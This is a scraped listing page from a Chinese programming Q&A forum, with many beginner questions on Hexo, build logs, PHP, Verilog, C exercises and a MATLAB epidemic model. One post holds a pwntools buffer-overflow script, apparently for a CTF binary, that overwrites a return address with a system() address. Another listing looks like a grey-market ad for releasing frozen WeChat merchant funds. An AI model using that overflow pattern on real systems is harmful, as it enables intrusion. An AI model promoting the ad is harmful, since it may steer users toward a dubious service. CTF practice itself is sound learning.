排行榜

  • 用户榜
  • 标签榜
  • 冲榜分奖金

频道

最新最热悬赏待采纳 筛选
  • 0

    回答

  • 2

    浏览

在我配饰好后 使用hexo s 时 4000网页一直旋转 git bash 显示INFO  Hexo is running at http://localhost:4000 . Press Ctrl+C to stop. Unhandled rejection Error: ENOENT: no such file or directory, open 'C:\Users\\blogs\themes\next\layout\_partials\header\index.swig'     

  • 0

    回答

  • 2

    浏览

女孩子为什么要努力 为了父母年老时让他们过上更好的生活,不为医药费发愁,为了不看任何人的脸色,受到所有人的尊重,为了逛街时,看到自己喜欢的东西,可以不问价格,立即购买,为了去自己所有想去的地方说走就走,为了我选择生活,而不是生活选择我。 爱情易逝 婚姻易碎,所以我日夜兼程追求精神和物质的独立,感情只是生活调味剂,赚钱才是生活的主旋律。如果说你每天都在想着感情的事情只能说你生活过得太顺遂了。 女孩子长大以后是没有家的,你们感情过得顺遂是你家,当你们吵架就不是了。 所以呀,姑娘们,你只管优秀就好,你想要的,岁月都会给你。

  • 0

    回答

  • 5

    浏览

$ tar zxvf miRanda-aug2010.tar.gz $ cd miRanda-3.3a/ $ ./configure --prefix=/home/orange/miRanda-3.3a/ 以上这几行命令运行的时候没有报错。 $ sudo make 此后我就看不懂了QWQ make all-recursive make[1]: Entering directory '/home/orange/miRanda-3.3a' Making all in man make[2]: Entering directory '/home/orange/miRanda-3.3a/man' make[2]: Nothing to be done for 'all'. make[2]: Leaving directory '/home/orange/miRanda-3.3a/man' Making all in RNAlib make[2]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' Making all in H make[3]: Entering directory '/home/orange/miRanda-3.3a/RNAlib/H' make[3]: Nothing to be done for 'all'. make[3]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib/H' make[3]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT fold_vars.o -MD -MP -MF ".deps/fold_vars.Tpo" -c -o fold_vars.o fold_vars.c; \ then mv -f ".deps/fold_vars.Tpo" ".deps/fold_vars.Po"; else rm -f ".deps/fold_vars.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT energy_par.o -MD -MP -MF ".deps/energy_par.Tpo" -c -o energy_par.o energy_par.c; \ then mv -f ".deps/energy_par.Tpo" ".deps/energy_par.Po"; else rm -f ".deps/energy_par.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT utils.o -MD -MP -MF ".deps/utils.Tpo" -c -o utils.o utils.c; \ then mv -f ".deps/utils.Tpo" ".deps/utils.Po"; else rm -f ".deps/utils.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT fold.o -MD -MP -MF ".deps/fold.Tpo" -c -o fold.o fold.c; \ then mv -f ".deps/fold.Tpo" ".deps/fold.Po"; else rm -f ".deps/fold.Tpo"; exit 1; fi fold.c: In function ‘ML_Energy’: fold.c:1111:63: warning: iteration 8 invokes undefined behavior [-Waggressive-loop-optimizations] for (x = 0; x <= NBPAIRS+1; x++) mlintern[x] = P->MLintern[x]; ~~~~~~~~~~~^~~ fold.c:1111:5: note: within this loop for (x = 0; x <= NBPAIRS+1; x++) mlintern[x] = P->MLintern[x]; ^~~ fold.c:1108:32: warning: iteration 8 invokes undefined behavior [-Waggressive-loop-optimizations] mlintern[x] = P->MLintern[x]-P->MLintern[1]; /* 0 or TerminalAU */ ~~~~~~~~~~~^~~ fold.c:1107:5: note: within this loop for (x = 0; x <= NBPAIRS+1; x++) ^~~ if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I./H -g -O2 -MT params.o -MD -MP -MF ".deps/params.Tpo" -c -o params.o params.c; \ then mv -f ".deps/params.Tpo" ".deps/params.Po"; else rm -f ".deps/params.Tpo"; exit 1; fi rm -f libRNA.a ar cru libRNA.a fold_vars.o energy_par.o utils.o fold.o params.o ar: `u' modifier ignored since `D' is the default (see `U') ranlib libRNA.a make[3]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' make[2]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' Making all in src make[2]: Entering directory '/home/orange/miRanda-3.3a/src' if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT miranda.o -MD -MP -MF ".deps/miranda.Tpo" -c -o miranda.o miranda.c; \ then mv -f ".deps/miranda.Tpo" ".deps/miranda.Po"; else rm -f ".deps/miranda.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT output.o -MD -MP -MF ".deps/output.Tpo" -c -o output.o output.c; \ then mv -f ".deps/output.Tpo" ".deps/output.Po"; else rm -f ".deps/output.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT scan.o -MD -MP -MF ".deps/scan.Tpo" -c -o scan.o scan.c; \ then mv -f ".deps/scan.Tpo" ".deps/scan.Po"; else rm -f ".deps/scan.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT seqio.o -MD -MP -MF ".deps/seqio.Tpo" -c -o seqio.o seqio.c; \ then mv -f ".deps/seqio.Tpo" ".deps/seqio.Po"; else rm -f ".deps/seqio.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT swat.o -MD -MP -MF ".deps/swat.Tpo" -c -o swat.o swat.c; \ then mv -f ".deps/swat.Tpo" ".deps/swat.Po"; else rm -f ".deps/swat.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT pairs.o -MD -MP -MF ".deps/pairs.Tpo" -c -o pairs.o pairs.c; \ then mv -f ".deps/pairs.Tpo" ".deps/pairs.Po"; else rm -f ".deps/pairs.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT thermo.o -MD -MP -MF ".deps/thermo.Tpo" -c -o thermo.o thermo.c; \ then mv -f ".deps/thermo.Tpo" ".deps/thermo.Po"; else rm -f ".deps/thermo.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT utils.o -MD -MP -MF ".deps/utils.Tpo" -c -o utils.o utils.c; \ then mv -f ".deps/utils.Tpo" ".deps/utils.Po"; else rm -f ".deps/utils.Tpo"; exit 1; fi if gcc -DHAVE_CONFIG_H -I. -I. -I.. -I../RNAlib/H/ -g -O2 -MT ExpString.o -MD -MP -MF ".deps/ExpString.Tpo" -c -o ExpString.o ExpString.c; \ then mv -f ".deps/ExpString.Tpo" ".deps/ExpString.Po"; else rm -f ".deps/ExpString.Tpo"; exit 1; fi gcc -g -O2 -o miranda miranda.o output.o scan.o seqio.o swat.o pairs.o thermo.o utils.o ExpString.o ../RNAlib/libRNA.a -lm -lm make[2]: Leaving directory '/home/orange/miRanda-3.3a/src' make[2]: Entering directory '/home/orange/miRanda-3.3a' make[2]: Leaving directory '/home/orange/miRanda-3.3a' make[1]: Leaving directory '/home/orange/miRanda-3.3a' sudo make install 也无法成功安装。 Making install in man make[1]: Entering directory '/home/orange/miRanda-3.3a/man' make[2]: Entering directory '/home/orange/miRanda-3.3a/man' make[2]: Nothing to be done for 'install-exec-am'. test -z "/home/orange/miRanda-3.3a//share/man/man1" || mkdir -p -- "/home/orange/miRanda-3.3a//share/man/man1" /usr/bin/install -c -m 644 './miranda.1' '/home/orange/miRanda-3.3a//share/man/man1/miranda.1' make[2]: Leaving directory '/home/orange/miRanda-3.3a/man' make[1]: Leaving directory '/home/orange/miRanda-3.3a/man' Making install in RNAlib make[1]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' Making install in H make[2]: Entering directory '/home/orange/miRanda-3.3a/RNAlib/H' make[3]: Entering directory '/home/orange/miRanda-3.3a/RNAlib/H' make[3]: Nothing to be done for 'install-exec-am'. make[3]: Nothing to be done for 'install-data-am'. make[3]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib/H' make[2]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib/H' make[2]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' make[3]: Entering directory '/home/orange/miRanda-3.3a/RNAlib' make[3]: Nothing to be done for 'install-exec-am'. make[3]: Nothing to be done for 'install-data-am'. make[3]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' make[2]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' make[1]: Leaving directory '/home/orange/miRanda-3.3a/RNAlib' Making install in src make[1]: Entering directory '/home/orange/miRanda-3.3a/src' make[2]: Entering directory '/home/orange/miRanda-3.3a/src' test -z "/home/orange/miRanda-3.3a//bin" || mkdir -p -- "/home/orange/miRanda-3.3a//bin" /usr/bin/install -c 'miranda' '/home/orange/miRanda-3.3a//bin/miranda' make[2]: Nothing to be done for 'install-data-am'. make[2]: Leaving directory '/home/orange/miRanda-3.3a/src' make[1]: Leaving directory '/home/orange/miRanda-3.3a/src' make[1]: Entering directory '/home/orange/miRanda-3.3a' make[2]: Entering directory '/home/orange/miRanda-3.3a' make[2]: Nothing to be done for 'install-exec-am'. make[2]: Nothing to be done for 'install-data-am'. make[2]: Leaving directory '/home/orange/miRanda-3.3a' make[1]: Leaving directory '/home/orange/miRanda-3.3a'  

  • 1

    回答

  • 7

    浏览

在该类中定义两个方法,一个是 getName,用于使用反射机制获得类名称;另一个是抽象方法 getArea ,用来计算图形的面积。(2)创建圆形类 Circle ,继承自 Shape ,并实现抽象方法getArea。在 Circle 类的构造方法中获得了圆形的半径,用于在getArea计算圆形的面积。(3)创建矩形类 Rectangle ,继承自 Shape ,并实现抽象方法 getArea 。在 Rectangle 类的构造方法中获得了矩形的长和宽,用于在 getArea计算矩形的面积。

  • 0

    回答

  • 3

    浏览

如下图所示,处理完图形信息后得到一个values值(4*1cell),然后需要把前三行都转成double,其中第二行c1s1怎么转都是错的,求大神指教如何把第二行转成double。  

回答 夫子夫子
采纳率100%
4小时前
  • 0

    回答

  • 4

    浏览

from pwn import * context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] p = process("./M78") # p = remote("39.96.88.40", 7010) elf = ELF("./M78") system_addr = 0x8049202 p.recvuntil("Your choice?") p.sendline("1") p.recvuntil("Please choose a building") p.send("lxonz") p.recvuntil("Please input the password") payload = 'a' * 28 + p32(system_addr) payload = payload.ljust(0x107, 'a') gdb.attach(p) p.send(payload) p.recvuntil("Enjoy it~") p.interactive()  

回答 AomCC
采纳率25%
4小时前
  • 0

    回答

  • 3

    浏览

具体代码应该如何实现 <?php $serverName = "localhost"; //数据库服务器地址 $uid = "sa"; //数据库用户名 $pwd = ""; //数据库密码 $connectionInfo = array("UID" => $uid, "PWD" => $pwd, "Database" => "Students"); $conn = sqlsrv_connect($serverName, $connectionInfo); if ($conn == false) { echo "连接失败!"; var_dump(sqlsrv_errors()); exit; } else { echo "链接成功"; } ?> 此代码报错 Fatal error: Uncaught Error: Call to undefined function sqlsrv_connect() in D:\phpstudy_pro\WWW\t.php:6 Stack trace: #0 {main} thrown in D:\phpstudy_pro\WWW\t.php on line 6

  • 0

    回答

  • 4

    浏览

<!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8">     <meta http-equiv="X-UA-Compatible" content="IE=edge">     <meta name="viewport" content="width=device-width, initial-scale=1.0">     <title>Document</title> </head> <body>     <div id="box">         <div>             我是内容             <a href="#">我是链接1</a>             <script type="text/javascript">                 var a=1;                 function b(){ }             </script>             <a href="#">我是链接2</a>             <script type="text/javascript">                 var c=1;                 function d(){ }             </script>         </div>     </div>     <script>         //怎么用正则匹配或者其他方法删除掉<div>标签里面的<script>的脚本包括脚本标签的所有内容     </script> </body> </html>  

  • 0

    回答

  • 2

    浏览

[face]emoji:002.png[/face]求大佬帮忙!!! 声明一个函数,实现从浏览器上输入一个数后,在控制台输出从1到这个数之间的偶数!!

回答 大无语p
采纳率50%
5小时前
  • 0

    回答

  • 5

    浏览

然后读取全国人口数据,在上图的四个部分分别绘制以下图形: (1)东北三省1990和2001年人口的条形图(并列横向); (2)浙江省、广东省历年人口变化的折线图; (3)1990年、1995年和2001年全国人口的三个箱型图; (4)2001年全国各省市人口的直方图(要求分8个区间)。 评分标准:正确,完整(图的各个要素),美观。

  • 1

    回答

  • 7

    浏览

class Bird { virtual void fly(); //birds can fly void travel() { fly(); } //birds travel by flying } class Eagle: public Bird { virtual void fly() {/* implement the flying code here */} } class Penguin: public Bird { virtual void swim(); //penguins can swim } Eagle e(); e.travel(); //OK, eagle can fly Penguin p(); p.travel(); //Error, penguin can't fly  

  • 1

    回答

  • 6

    浏览

在这个项目中,你将为你的班级设计一个简单的学生管理系统(SMS)。 1.学生属性信息:学生ID、姓名、年龄、性别、班级 2.短信可显示所有学生信息。 3.短信可以增加一个新学生。 4.短信可删除新学生 5.短信可更新学生信息。 6、短信通过查询学生ID查询学生信息  

回答 moyudesu
采纳率0%
5小时前
  • 0

    回答

  • 2

    浏览

哪位大佬知道,我怎么下载到本地之后,我找不到记事本打开的方法,点开就直接跳转页面了。[face]emoji:010.png[/face][face]emoji:010.png[/face][face]emoji:010.png[/face]

  • 0

    回答

  • 8

    浏览

数据集结构如上图,想要将一个子集的所有数据(如二图所有acc开头的数据文件视为一个子集bearing1-3)存进一张表,再循环将所有的数据都存进表内。最终获得bearing1-3到bear3-3共11张表。编程语言为python,数据库为sql server2019,求大佬们帮帮忙。

回答 Norcor
采纳率100%
6小时前
  • 1

    回答

  • 6

    浏览

谁知道这是什么原因吗?

回答 FEI_CHANG_AI
采纳率0%
6小时前
  • 2

    回答

  • 5

    浏览

老哥懂行吗?运行出问题,得不到想要的结果。

回答 m0_56165867
采纳率50%
6小时前
  • 0

    回答

  • 4

    浏览

如题,一开始还以为电脑以太网口的问题,试了下电脑用网线连路由器是可以显示以太网连接的,但是连开发板的时候就是网络电缆被拔出。我按照网上一些说法把开发板和路由器连,windows下用arp -a看不到ip地址,还有就是开发板网口的灯只有通电的时候会闪一下,其他时候都是灭的,是不是板子网口出问题了?谢谢大家了!

回答 qq_45623343
采纳率0%
6小时前
  • 1

    回答

  • 4

    浏览

我被leetcode第一道打蒙了[face]monkey2:025.png[/face],大佬求救,这是啥bug[face]monkey2:019.png[/face][face]monkey2:019.png[/face][face]monkey:0.gif[/face]

回答 一个小菜农
采纳率100%
6小时前
  • 0

    回答

  • 3

    浏览

c++编程 新手求助

  • 0

    回答

  • 3

    浏览

安装eclipse出现这个错误,找了一圈回答解决不了,求大佬解答[face]emoji:027.png[/face] 这个错误似乎蛮经典的,但是第二行开始我跟别人贴的图就不太一样了 jdk应该没有问题?虽然重装了一次,但是也原原本本的按教程做了删除和安装,logisim也能用了,就是字突然变的好小。

  • 0

    回答

  • 2

    浏览

运行runapp.bat找不到javaw是为什么?怎么解决?

  • 0

    回答

  • 4

    浏览

已经爬取到了一部电影的几百条评分数据,怎么做图

回答 耳朵先生376
采纳率0%
7小时前
  • 2

    回答

  • 9

    浏览

问题是这样的, 我有一个指纹模块,和一个蓝牙模块,单独使用指纹模块,录指纹的功能是有效的,不会卡死。录指纹的功能实际上就是Stm32通过串口3发送指定格式的数据给AS608模块,返回码为00则执行成功,可以在用蓝牙控制后,就是接受蓝牙数据,触发录指纹函数,在放上手指后,打log发现程序卡死了,卡死在return的地方。

回答 low霸丶
采纳率0%
7小时前
  • 0

    回答

  • 4

    浏览

moudle gates( input wire a, input wire b, output wire[5:0] z ); assign z[5]= a&b; assign z[4]= ~(a&b); assign z[3]= a|b; assign z[2]= ~(a|b); assign z[1]= a^b; assign z[0]= a~^b; endmoudle 请问为什么报错呢 quartus软件

  • 1

    回答

  • 6

    浏览

求c语言题目!! 谢谢! 由计算机随机产生10个0~100之间的整数存入数组a中,并将这些数从小到大排序,然后输入一个整数x,在数组a中查找x,若找到则输出相应的下标,否则输出“未找到”。 具体要求: (1)用选择排序法或冒泡排序法进行排序。 (2)用顺序查找法或折半查找法进行查找。 (3)如果要删除查找到的元素值,如何修改程序?

回答 Chu279
采纳率0%
7小时前
  • 1

    回答

  • 7

    浏览

微信商家码处罚除退款外出资金权限

回答 小弟V;AK88AY
采纳率100%
7小时前
  • 0

    回答

  • 8

    浏览

之前用vue写了一个欢迎界面,然后用php写了后端的处理,但把php文件与vue整合时出现了错误,先是通过el-button跳转到php页面时网页并没有改变,而是进行了php文件的下载,这个我很纳闷。还有在html文件里通过axios访问php提示404 not found 报错截图 文件目录 html文件中访问php的部分代码 getdata() { setInterval(() => { axios.get('/src/assets/php/data.php').then(res => { this.allincome = res.data; }); }, 500) } <form action="/src/php/welcome.php" method="POST" target="fmResult" id="data" name="dataform">  

回答 旭北阳
采纳率100%
7小时前
  • 0

    回答

  • 3

    浏览

delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; %I→H的转化率 gamma=0.0714; %恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每日累计出现症状的I的数量--23天数据 h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta))*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=23:n S(i+1)=(-((beta+q2*(1-beta))*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end D(1)=I(1); for j=2:length(ME) D(j)=I((j-1)*h1+1); end yy1=[1,3,4,4,9,13,19,20,25,32,46,56,64,68,73,81,92,97,99,102,108,109,118,119,126,127,128,129,129,130,130,131,131,131,131,132,132,132,132,133,133,133,133,133,133]; figure(2) set(0,'defaultfigurecolor','w') t=1:length(yy1); plot(t,yy1,'b+','LineWidth',2','MarkerSize',4); hold on t1=1:1:23; t2=23:1:46; plot(t1,D(1,1:23),'r--','LineWidth',1.5); hold on plot(t2,D(1,23:46),'black--','LineWidth',1.5); hold on delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; m2=0.01; %I→H的转化率 gamma=0.0714; %恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=23:n S(i+1)=(-(beta+q2*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m2*I(i))*h+I(i); H(i+1)=(m2*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end M(1)=I(1); for j=2:length(ME) M(j)=I((j-1)*h1+1)-40; end figure(2) set(0,'defaultfigurecolor','w') t2=23:1:46; plot(t2,M(1,23:46),'green--','LineWidth',1.5); hold on delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; %I→H的转化率 m3=0.03; gamma=0.0714; %恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=22:n S(i+1)=(-(beta+q2*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m3*I(i))*h+I(i); H(i+1)=(m3*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end N(1)=I(1); for j=2:length(ME) N(j)=I((j-1)*h1+1)-20; end figure(2) t2=23:1:46; plot(t2,N(1,23:46),'y--','LineWidth',1.5); hold on delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 q8=0.9; %第三阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; %I→H的转化率 m4=0.07; gamma=0.0714; %恢复率 S(1)=3.718e+07; %c(1)./(1+exp(-c(3))) E(1)=0; I(1)=0; H(1)=0; R(1)=0; Y(1)=0; ME=[1,0,1,2,0,4,5,11,19,23,2,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数--23天数据 MI=[1,2,1,0,4,4,5,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]; h1=100; G=repmat(ME,h1,1);GG=repmat(MI,h1,1); %% repmat 把数组转化成矩阵 T=G(:)'; %%2020年1月14日到2月5日的每天从湖北输入的潜伏者E的病例数 TT=GG(:)'; %%2020年1月14日到2月5日的每天从湖北输入的染病者I的病例数 n=length(T); h=0.01; for i=1:23 S(i+1)=(-(beta+q*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q)*k*beta*E(i)+(1-q)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m*I(i))*h+I(i); H(i+1)=(m*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end for i=23:n S(i+1)=(-(beta+q2*(1-beta)*S(i)*(I(i)+k*E(i)))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))+b*Y(i))*h+S(i); E(i+1)=(((1-q2)*k*beta*E(i)+(1-q2)*beta*I(i))*S(i)/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-delta*E(i)+T(i))*h+E(i); I(i+1)=(TT(i)+delta*E(i)-m4*I(i))*h+I(i); H(i+1)=(m4*I(i)-gamma*H(i)+d*Y(i))*h+H(i); R(i+1)=(gamma*H(i))*h+R(i); % 新增出现症状的染病者的量--用于拟合实际出现症状的I数据 Y(i+1)=(q2*S(i)*(I(i)+k*E(i))/(S(i)+E(i)+I(i)+H(i)+R(i)+Y(i))-(b+d)*Y(i))*h+Y(i); end O(1)=I(1); for j=2:length(ME) O(j)=I((j-1)*h1+1)+15; end figure(2) t2=23:1:46; plot(t2,O(1,23:46),'m--','LineWidth',1.5); hold on delta=1/5.2; %1/(1+exp(-c(3))), %%潜伏期 beta=0.0517; %传染率 k=14; %传染参数 q=0.5; %第一阶段隔离率 q2=0.8; %第二阶段隔离率 q8=0.9; %第三阶段隔离率 b=0.1404; %Y→S的转化率 d=0.0056; %Y→H的转化率 m=0.05; %I→H的转化率 m5=0.09; gamma=0.0714; 